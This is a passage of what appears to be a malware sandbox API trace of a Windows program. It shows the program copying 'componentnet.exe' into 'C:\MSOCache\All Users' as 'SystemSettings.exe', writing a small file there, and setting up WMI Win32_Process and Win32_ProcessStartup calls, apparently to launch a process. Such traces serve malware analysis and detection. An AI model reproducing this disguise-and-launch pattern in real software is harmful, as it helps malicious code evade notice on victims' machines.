ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.670] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0131.670] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.670] FindClose (in: hFindFile=0x1b4063d0 | out: hFindFile=0x1b4063d0) returned 1 [0131.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0131.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0131.671] GetFullPathNameW (in: lpFileName="C:\\portSession\\componentnet.exe", nBufferLength=0x105, lpBuffer=0x1b10daa0, lpFilePart=0x0 | out: lpBuffer="C:\\portSession\\componentnet.exe", lpFilePart=0x0) returned 0x1f [0131.671] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\SystemSettings.exe", nBufferLength=0x105, lpBuffer=0x1b10daa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\SystemSettings.exe", lpFilePart=0x0) returned 0x28 [0131.671] CopyFileW (lpExistingFileName="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), lpNewFileName="C:\\MSOCache\\All Users\\SystemSettings.exe" (normalized: "c:\\msocache\\all users\\systemsettings.exe"), bFailIfExists=0) returned 1 [0132.056] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\9e60a5f7a3bd80", nBufferLength=0x105, lpBuffer=0x1b10d8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\9e60a5f7a3bd80", lpFilePart=0x0) returned 0x24 [0132.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10dd80) returned 1 [0132.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\9e60a5f7a3bd80" (normalized: "c:\\msocache\\all users\\9e60a5f7a3bd80"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0132.057] GetFileType (hFile=0x30c) returned 0x1 [0132.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10dcf0) returned 1 [0132.057] GetFileType (hFile=0x30c) returned 0x1 [0132.058] WriteFile (in: hFile=0x30c, lpBuffer=0x2c91958*, nNumberOfBytesToWrite=0x2fc, lpNumberOfBytesWritten=0x1b10ddb8, lpOverlapped=0x0 | out: lpBuffer=0x2c91958*, lpNumberOfBytesWritten=0x1b10ddb8*=0x2fc, lpOverlapped=0x0) returned 1 [0132.059] CloseHandle (hObject=0x30c) returned 1 [0132.060] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0132.061] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0132.061] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0132.061] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.063] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x2f15c0) returned 0x0 [0132.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x2f15c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0132.063] WbemDefPath:IClassFactory:CreateInstance (in: This=0x2f15c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x351440) returned 0x0 [0132.063] WbemDefPath:IUnknown:Release (This=0x2f15c0) returned 0x0 [0132.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x351440) returned 0x0 [0132.063] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0132.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0132.064] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0132.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0132.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b433a10) returned 0x0 [0132.064] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433a10, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.064] WbemDefPath:IUnknown:Release (This=0x1b433a10) returned 0x3 [0132.064] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0132.064] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0132.064] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0132.064] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0132.064] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x1 [0132.065] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0132.065] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0132.065] WbemDefPath:IUnknown:QueryInterface (in: This=0x351440, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x351440) returned 0x0 [0132.065] WbemDefPath:IUnknown:AddRef (This=0x351440) returned 0x3 [0132.065] WbemDefPath:IUnknown:Release (This=0x351440) returned 0x2 [0132.065] WbemDefPath:IWbemPath:SetText (This=0x351440, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351440, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetText (in: This=0x351440, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetInfo (in: This=0x351440, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351440, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.065] WbemDefPath:IWbemPath:GetInfo (in: This=0x351440, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.065] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0132.065] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0132.065] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0132.065] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.066] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b433af0) returned 0x0 [0132.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433af0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0132.066] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433af0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x3521c0) returned 0x0 [0132.066] WbemDefPath:IUnknown:Release (This=0x1b433af0) returned 0x0 [0132.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x3521c0) returned 0x0 [0132.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0132.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0132.067] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0132.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0132.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b433e50) returned 0x0 [0132.067] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433e50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.067] WbemDefPath:IUnknown:Release (This=0x1b433e50) returned 0x3 [0132.067] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0132.067] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0132.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0132.067] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0132.067] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x1 [0132.067] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0132.067] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0132.067] WbemDefPath:IUnknown:QueryInterface (in: This=0x3521c0, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x3521c0) returned 0x0 [0132.067] WbemDefPath:IUnknown:AddRef (This=0x3521c0) returned 0x3 [0132.067] WbemDefPath:IUnknown:Release (This=0x3521c0) returned 0x2 [0132.067] WbemDefPath:IWbemPath:SetText (This=0x3521c0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0132.067] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.067] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetText (in: This=0x3521c0, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetInfo (in: This=0x3521c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetInfo (in: This=0x3521c0, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3521c0, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0132.068] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.068] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0132.068] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0132.068] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0132.068] IUnknown:Release (This=0x3111d8) returned 0x1 [0132.069] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x1b433ad0) returned 0x0 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433ad0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0132.069] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433ad0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x352700) returned 0x0 [0132.069] WbemDefPath:IUnknown:Release (This=0x1b433ad0) returned 0x0 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x352700) returned 0x0 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0132.069] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0132.069] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x1b433a50) returned 0x0 [0132.070] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433a50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.070] WbemDefPath:IUnknown:Release (This=0x1b433a50) returned 0x3 [0132.070] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0132.070] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0132.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0132.070] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0132.070] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0132.070] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0132.070] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0132.070] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x352700) returned 0x0 [0132.070] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0132.070] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0132.070] WbemDefPath:IWbemPath:SetText (This=0x352700, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0132.070] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0132.070] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0132.070] WbemDefPath:IWbemPath:GetText (in: This=0x352700, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.070] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, 